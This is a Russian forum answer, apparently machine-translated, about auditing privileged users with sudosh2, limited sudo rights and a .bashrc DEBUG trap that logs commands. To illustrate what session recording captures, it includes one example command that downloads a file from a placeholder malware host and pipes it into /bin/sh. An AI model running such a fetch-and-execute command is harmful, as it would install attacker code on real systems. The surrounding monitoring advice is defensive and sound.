Доверяй, но проверяй!
Отъезд sudosh2 . sudosh2 предоставляется портами FreeBSD. Пакеты доступны для RedHat и Ubuntu. Вот описание с их веб-сайта:
Sudosh - это фильтр оболочки аудита, который может использоваться как оболочка входа в систему. Судош записывает все нажатия клавиш и вывод и может воспроизводить сеанс как и видеомагнитофон.
Sudosh позволит вам воспроизвести сеанс пользователя, что позволит вам видеть все входные и выходные данные такими, какими их видел пользователь. Вы видите все, нажатия клавиш, опечатки, пробелы, что они редактировали в vi
, вывод wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | / bin / sh
и т. д.
Можно отправлять журналы судоша в системный журнал, чтобы их можно было хранить на центральном сервере системного журнала вдали от системы.
Обратите внимание, что судош2 заменяет судош, который был оставлен его автором
Вы работаете в академическом учреждении, где пользователи настаивают на правах суперпользователя? Или вы работаете в корпорации и хотите разрешить пользователям иметь права суперпользователя на их собственных виртуальных машинах? Это может быть решением для вас.
Не давайте ему root-доступ. Вместо этого предоставьте ему учетную запись непривилегированного пользователя и попросите его выполнять всю свою работу через sudo
, который будет регистрировать все его команды.
Имейте в виду, что если у этого человека есть дурные намерения и вы дадите ему полные привилегии sudo, он найдет способ выполнять эти дурные намерения без того, чтобы эти команды были зарегистрирован. В этом случае предоставьте ему доступ только к определенным командам, необходимым для выполнения его работы.
Я не знаком с sudosh2, но я поместил следующее в свой .bashrc
, чтобы регистрировать все команды, которые я набираю в оболочке bash
в файл ~ / .command_log
:
# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
\$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
Вышеупомянутое устанавливает ловушку для DEBUG
, которая выполняется непосредственно перед выполнением обычной команды. Встроенный вызывающий объект
используется для проверки того, набирается ли команда в интерактивной оболочке или запускается через что-то вроде .bashrc
. Значение $ {BASH_COMMAND}
содержит команду, которая выполняется в данный момент.